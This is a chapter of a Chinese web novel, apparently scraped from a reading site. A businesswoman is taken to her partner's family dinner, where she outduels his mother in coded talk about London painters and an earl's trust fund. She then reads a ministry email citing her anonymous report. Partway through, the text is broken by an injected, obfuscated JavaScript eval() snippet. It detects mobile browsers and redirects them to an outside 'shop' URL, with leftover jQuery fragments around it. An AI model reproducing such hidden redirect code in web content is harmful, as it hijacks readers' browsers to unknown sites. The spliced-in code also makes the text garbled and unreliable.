今年上海的冬天,萧瑟得好比肖邦在琴键疯狂跑动。
恒景一品顶层公寓的室内却温暖如春,地暖无声运作。那面曾蛛网般碎裂的落地窗已焕然一新,加厚的玻璃在午后阳光下反射着冷硬的光泽,将窗外呼啸的寒风隔绝在外。
衣帽间的灯光明亮,映照着一整面墙的爱马仕丝巾,色彩斑斓如同抽象画。
殷灿言站在巨大的穿衣镜前,背对着门口,指尖在一排丝巾上缓缓滑过,动作带着某种评估般的审慎。
「一定要去吗?」
梁景轩的声音自身后传来,带着一丝不易察觉的紧绷。穿着灰色羊绒衫的他,斜倚在衣帽间的门框上。手里却拿着一个iPad,屏幕亮着,上面是一个用线条连接起来的、极其复杂的人物关系图谱。
「今晚是家宴。」他继续说道,目光落在iPad屏幕上,手指无意识地摩挲着冰凉的金属边缘,「只有我爸,我妈,还有……几个叔伯、姑姑、舅舅和姨母。每一个,都不好应付。」
殷灿言的手指停在了一条纯黑色的Twilly丝巾上。她将其抽出,没有立刻系上,而是转身看向梁景轩。
她脸上没什么表情,只是伸出手:「我看看。」
梁景轩将iPad递给她。
殷灿言接过,指尖在屏幕上快速滑动、点触、放大,目光锐利地扫过那些名字、头衔以及梁景轩手写标注的注释。她的阅读速度极快,仿佛不是在记忆信息,而是在验证一个已有的数据库。
「梁总……」她一边看着屏幕,一边开口,声音平静无波,「如果连你家的内部压力测试都通不过,恒景这面防火墙,建起来也是豆腐渣工程。」
梁景轩看着她,看着她迅速进入工作状态的侧脸,看着屏幕冷光映在她眼底,闪烁着他既熟悉又感到陌生的、近乎非人的计算光泽。他没再说话,只是看着她浏览。
这图谱,他画了两天。
梁家的恩怨,景家的盘根错节,每个人的雷区和痒处……他几乎把自己知道的一切都标注了上去。
与其说是介绍家人,不如说是在模拟一场沙盘推演。
「表姐你熟悉的,姐夫人很好,但大舅最近在看中东局势,跟他聊OPEC+,别提伊朗。」
「二姑妈信佛,喜欢天珠,夸『缘分殊胜』……小姨早早嫁给了瑞士人,所以在家不怎么说中文。」
「还有我妈……」梁景轩的声音低了下去,目光复杂地落在屏幕上「景佩仪」的名字旁边,那里标注着「艺术/伦敦政经/好胜」。
他抬眼看向殷灿言,欲言又止,最终只是含糊道:「她……可能会问些伦敦的事,你随机应变。」
殷灿言的指尖,恰好停在「景佩仪」的注释栏上,停留了不足半秒。
然后,她关掉iPad屏幕,递还给他。
「知道了。」她的语气,像刚刚确认完一份数据报表,「还有别的风险提示吗?」
梁景轩接过iPad,看着她那副仿佛只是要去参加一场普通商务晚宴的平静神情,准备好的更多嘱咐忽然就堵在了喉咙口。
他轻轻摇了摇头,有些自嘲地笑了笑。
他走上前,没有触碰她,只是伸出手,指尖极其轻微地掠过她颈间的空气,然后落在那条被她随意搭在肩上的黑色丝巾上。
他低下头,专注地,将丝巾在她白皙的颈间,重新打了一个结,调整角度,抚平褶皱,动作细致得近乎偏执,仿佛在完成一件精密的艺术品。
「最后一个提示……」他的声音压得很低,温热的呼吸几乎拂过她的耳廓,「今晚,无论听到什么,看到什么……」
他抬起眼,看向面前巨大的穿衣镜。
镜子里,映出他们此刻的姿态——他微微俯身,手指还停留在她颈间的黑色丝结上,将她半圈在怀中;而她微微仰着头,目光平静地看着镜中的他。
一个近乎亲昵,却又带着某种无形束缚感的画面。
「……演下去。」
梁公馆老宅的餐厅,枝形水晶吊灯的光线过于明亮,照在长长的红木餐桌和冰冷的银质餐具上,反射出晃眼的光晕,空气中陈年檀香袅袅。
梁业恒坐在主位,面沉似水,只专注地用银勺舀着面前那盅清汤,对席间的谈话置若罔闻,宛如一尊被供奉的家族塑像。
景佩仪一身墨绿色丝绒旗袍,在席间优雅穿梭,亲自为每一位长辈布菜、添酒,脸上挂着恰到好处的微笑,仿佛这是一场再寻常不过的周末家宴。
殷灿言恪守大学通识课上礼仪老师身体力行的谆谆教诲,只坐在三分之一的椅子上,背脊挺直,远离椅背。
刀叉切割瓷盘的声音、低声的交谈、酒杯碰撞的轻响,交织成一种微妙的背景音。
「灿言,来,尝尝这个佛跳墙,」坐在她对面的景幼珊笑着,用公勺为她盛了一小碗,汤色金黄浓郁,「大姑亲手看着火炖了一下午的。」递碗的时候,眼神里带着一丝不易察觉的善意和鼓励。
「谢谢幼珊姐。」殷灿言微笑着双手接过,热气带着馥郁的香气扑面而来。
「听珊珊说,你最近为了恒景的事,忙得不可开交。」景幼珊的丈夫,许亭筠,一位戴着金丝眼镜、气质温润的建筑师,看到殷灿言时,眼中闪过一丝不易察觉的惊讶。随即,便礼貌地、对她微微颔首,像是在对待一个意料之外、却又在情理之中的故人,开口语气温和,「年轻人拼事业是好,但也要注意身体。」
「姐夫说的是。」殷灿言颔首致意,姿态谦逊。
就在这短暂的、看似其乐融融的间隙,坐在梁业恒右手边首位,被称为「大舅」的一位头发花白、面容威严的长者,忽然放下了手中的象牙筷。
他用餐巾慢条斯理地擦了擦嘴角,目光扫向梁景轩,带着上海长辈特有的、略带考究的口吻,声音洪亮:「景轩,我听讲,侬上趟辰光……还是走了瑞士银行那条路子?」
他顿了顿,用筷子头轻轻点了点面前的骨碟,发出一声轻响。
「啧,」他轻轻咂了下嘴,似是不以为然,「欧洲人脑子……到底洋盘。阿拉看下来,现在中东天天『OPEC+』伊拉自家勒嗨唱戏文,油价哪能搞得清爽?将来,还是要靠阿拉自家。」
「大舅教训的是。」梁景轩立刻放下酒杯,身体微微前倾,做出洗耳恭听的姿态,并顺势接口,语速平稳地聊起了海湾合作委员会最近在推进本币结算方面的一些新动向,巧妙地避开了对瑞士银行的直接评价。
殷灿言安静地垂眸喝汤,长睫在眼下投下一小片阴影,仿佛全然未闻这场关于国际金融格局的「指点江山」。
另一边,打扮得珠光宝气的二姑妈正兴奋地将手腕凑到邻座的小姨面前,让她看那串硕大的、颜色深褐近乎黑色的天珠,语速飞快,带着明显的粤语腔调。
「哎呀,讲起呢个!」她激动地亮出手腕,让珠子在灯下转动,「你哋睇下!呢串嘢,係大师傅亲手开过光嘎!真係唔同啲!戴咗喺身啊,个心即刻就定晒!好舒服嘎!呢啲咪就係人哋讲嘅『缘分殊胜』咯!」
那位嫁给了瑞士银行家、常年定居日内瓦,国语已经不太流利的小姨,努力地配合着,用带着浓重口音的英文赞叹:「Oh,yes,theenergysocalming…magnificent!」
餐桌上的对话,如同几条不同流速的小溪,各自向前,暂时维持着表面的和谐。
直到景佩仪用餐巾优雅地沾了沾嘴角,仿佛只是为了结束一个话题。
「说起『缘分』……」她像是被二姑妈那带着异域风情的珠串不经意间触动,目光缓缓转向殷灿言,那眼神温和依旧,却带着一种不容错过的聚焦,「我倒是想起当年在伦敦的一桩旧事。」
她抬眼看向在座的几位同辈,脸上浮现出那种属于特定圈层、分享秘闻时特有的、心照不宣的微笑。
「你们还记不记得,阿伦德尔家那个不成器的小伯爵?为了个画廊的女招待,差点把世袭的头衔都弄丢了那个。」
席间几位上了年纪的叔伯姑妈都露出了了然的笑声,有人甚至低声交换了几个名字。
「弗洛伊德?」一位戴着玳瑁眼镜的叔伯猜了个最出名的。
「不,比弗洛伊德还要冷门些。」景佩仪摇了摇头,然后,像一位耐心的老师,将目光转向殷灿言,语气带着考教的意味,「小言在华尔街做过,想必对LucianFreud很熟悉?」
殷灿言正将一小块切好的牛排放入口中,听到问话,她没有立刻回答,而是极其缓慢地咀嚼完毕,用餐巾轻轻印了印嘴角,确保没有任何失仪,这才放下刀叉。
「景伯母过奖了。」她的声音不大,但在略显安静的餐桌上,每个字都清晰可闻,「作为战后伦敦画派的代表人物,弗洛伊德先生固然伟大,但他的作品价值,某种程度上,已经被市场充分认知并定价了。」
她停顿了一下,目光并没有直接回视景佩仪,而是像在陈述一个客观的专业观点。「相较而言,我个人其实更关注与他同时代的另一位画家——FrankAuerbach。」
餐桌上出现了一瞬间的寂静。在座的大多数人,包括梁景轩,脸上都闪过一丝茫然。
只有景佩仪,端着青瓷茶杯准备饮茶的动作,在半空中,凝固了那么零点几秒。她挑了挑眉,眼底闪过一丝不易察觉的锐光。「哦?FrankAuerbach……倒是第一次听小言提起。愿闻其详。」
「奥尔巴赫的创作过程……」殷灿言拿起手边的水杯,轻轻晃了晃,看着杯中冰块缓慢旋转,「很像一场高风险的非标资产投资。」
她没有看景佩仪,仿佛只是在分享一个有趣的类比,「他会在同一块画布上,经年累月地涂抹、刮除、再重塑。对于追求效率的市场而言,这无疑是巨大的时间成本和沉没风险。」
「但是,一旦他捕捉到了那个瞬间的真实结构,他会毫不犹豫地刮掉所有冗余的干扰项,只留下最本质的笔触。」她话锋一转,抬起眼,目光终于与景佩仪在空中相遇,「那一刻,之前所有的投入,都会转化为一种难以估量的、超越市场定价的内在价值。」
她顿了顿,看着景佩仪眼中一闪而过的震惊,嘴角勾起一抹极浅的、了然的微笑。
「就像当年,阿伦德尔伯爵,在他声名狼藉、几乎破产的时候,依然选择倾其所有,买下Auerbach那幅无人问津的、为模特E.O.W.反复绘制修改的头像一样。」她微微歪了一下头,像是在确认一个共同的记忆,「不是吗,景伯母?」
景佩仪脸上的笑容凝成冰块,美甲扣着茶杯收紧,指节泛白。
而殷灿言,仿佛完全没有察觉到这微妙的变化,只是拿起刀叉,重新开始切割盘中那块已经有些冷掉的牛排。然后,像是在自言自语,又像是为刚才的艺术评论补充一个「金融史学注脚」,用一种轻描淡写的说书人口吻,低声说道:
「哦,对了。说起阿伦德尔伯爵……」她的刀尖在牛排上轻轻划过,留下一道清晰的痕迹,「我记得,他家族信托名下的那只能源基金,去年,好像就是因为不慎重仓了恒景发行的那几只高风险美元债,触发了风险阈值,差点就被强制清盘了。」
一直沉默的主位上,梁业恒舀汤的动作几不可察地停顿了一下。他缓缓抬起眼皮,目光并没有看向殷灿言,而是淡淡地扫了一眼身旁的景佩仪,随即又垂下眼帘,继续喝汤,仿佛什么都没发生。
殷灿言抬起头,目光缓缓扫过餐桌旁所有表情各异
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746913|189948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、噤若寒蝉的长辈们,最后,像是在请教一个纯粹的技术难题。
「——也不知道,后来是哪位天使投资人出手相救,才让这个差点就要结构性崩塌的旧世界贵族,勉强维持住了体面呢。」
然后她目光越过景佩仪,落在了斜对面的许亭筠脸上,语气变得像是学妹在请教学长:「姐夫,你是宾大建筑系毕业的。你当年在宾大,应该也听过德语区那些关于『如何在废墟上重建』的设计哲学吧?不知道,你们建筑设计师对阿伦德尔伯爵这种……宁愿冒着家族信托被清盘风险,也要去拯救一个华而不实的旧世界的行为,在结构上,是怎么看的?」
许亭筠还未反应过来自己被突袭点名,镜片后的目光在脸色铁青的景佩仪和似乎并未完全理解状况的梁景轩之间快速逡巡了一下。
他习惯性地推了推鼻梁上的金丝眼镜,清了清嗓子,嘴角牵起一个标准社交场合的弧度,正待开口打圆场。
餐桌上凝滞的空气仿佛被某种无形之力绷紧。
就在此时,殷灿言放在餐桌一侧的手机,屏幕突然亮起,发出短暂而清晰的震动声。
那道突兀亮起的白光,在灯火通明的餐厅里异常显眼,瞬间攫取了餐桌上所有人的注意力,连主位上一直沉默的梁业恒都微微抬了下眼皮。
殷灿言似乎也顿了一下,才侧头看向自己的手机。
她伸手拿起,指尖划过屏幕解锁,目光快速扫过亮起的内容。随即,她抬起头,脸上浮现一丝恰到好处的歉意,仿佛被打断了重要的思路。
「抱歉。」她站起身,动作流畅,椅子被无声地向后推开少许。她向餐桌微微欠身,「一份从北京过来的邮件,似乎比较紧急,我需要即刻处理一下。失陪大家片刻。」
她说完,拿着手机,转身走向餐厅连接花厅的那道拱门,脚步平稳,背影挺直,高跟鞋敲击大理石地面的声音清脆而规律。
梁景轩的目光一直追随着她,从她拿起手机,到她转身离开。他的视线锐利,在那短暂的亮屏瞬间,他捕捉到了锁屏预览界面上的发件人信息——
一个陌生的姓名。以及其后那个不可能被错认的后缀。
「自然资源部,综合司。」
梁景轩握着高脚杯杯柄的手,在垂下的桌布遮掩下,指节猛然收紧,几乎要将玻璃捏碎。
花厅里光线稍暗,带着植物清冷的湿气。
殷灿言没有开灯,只是走到落地窗前,背靠着冰凉的玻璃。
窗外是精心打理过的园林暗香疏影,灯光勾勒出树木沉默的轮廓。
她低头,点开了那封邮件。
没有机构抬头的信笺格式、没有客套的开场白,邮件简短得离谱,只有一个附件图标,和三行没有任何多余敬语的文字,1.5倍的间距透着公事公办的疏离。
「您好。
「关于您咨询的政策方向,尚无公开文件,此内部纪要或可提供一些思路参考。
「祝好。」
邮件末尾的自动落款,也只有一行,傲慢使得信息量极大。
「——顾臣戈,自然资源部综合司。」
殷灿言看着那个名字,又抬头望了一眼窗外沉沉的夜色,手指无意识地在冰凉的手机边缘收紧,然后她极其缓慢地,吁出了一口气。
白色的雾气在冰冷的玻璃上短暂停留,随即消散。
回复了。
真的回复了。
她深吸一口气,点开了那个附件——一份名为「《关于推动大型房企参与新能源基建的闭门研讨会》会议纪要」的PDF文件。
屏幕上是标准的官方文体。她的指尖快速滑动着屏幕,目光像扫描仪一样掠过一行行文字。
直到,第三部分。
一个熟悉的标题映入眼帘——《关于大型房企「伪ESG」模式可能引发系统性金融风险的民间观察报告》。
她的滑动动作,在那一刻,骤然停止。
呼吸也仿佛停滞了。
她看着屏幕,看着自己半个多月前匿名投出的那份报告,此刻正静静地躺在这份高级别会议的纪要里……看着那些来自「民间」的观点……被引用、讨论、辩驳。
顾臣戈纪要的记录者忠实地还原了讨论,末尾附上了一段用不同字体标注的「编者按」。
「该民间报告所提出的『伪ESG』风险,值得高度警惕。但同时,报告也忽略了大型房企在『保交楼、稳就业』等宏观稳定层面的『社会资产』属性……需寻找一个动态的平衡点……避免『处置风险的风险』……这才是当前的核心博弈点。」
殷灿言反复阅读着那段话,特别是最后那个短语——「动态的平衡点」。
她的身体缓缓向后靠去,脊背抵住了冰冷的玻璃窗。
窗外的夜色似乎更深了。
紧接着,她的视线不受控制地再次滑回邮件末尾的落款。
「顾臣戈。」
科员?
她将邮件放大,确认那个名字后面没有任何表示级别的后缀。
就是科员。
她的眉头不自觉地蹙起,指尖在冰冷的玻璃窗上无意识地敲击着,节奏有些烦乱。
但仅仅几秒之后,这种失落就被一种更强烈的困惑和探究欲取代了。
她将目光重新聚焦在那段「编者按」上,逐字逐句地再次研读。
「动态的平衡点」「处置风险的风险」……
殷灿言缓缓地,低下头。
然后,无声地,笑了起来。
起初只是嘴角微微牵动,随即,肩膀开始轻轻耸动。
最后,她不得不抬起手,用指关节抵住额头,才能勉强压抑住那股混合着极致荒谬、挫败、黯然,以及一种沉冤得雪的兴奋。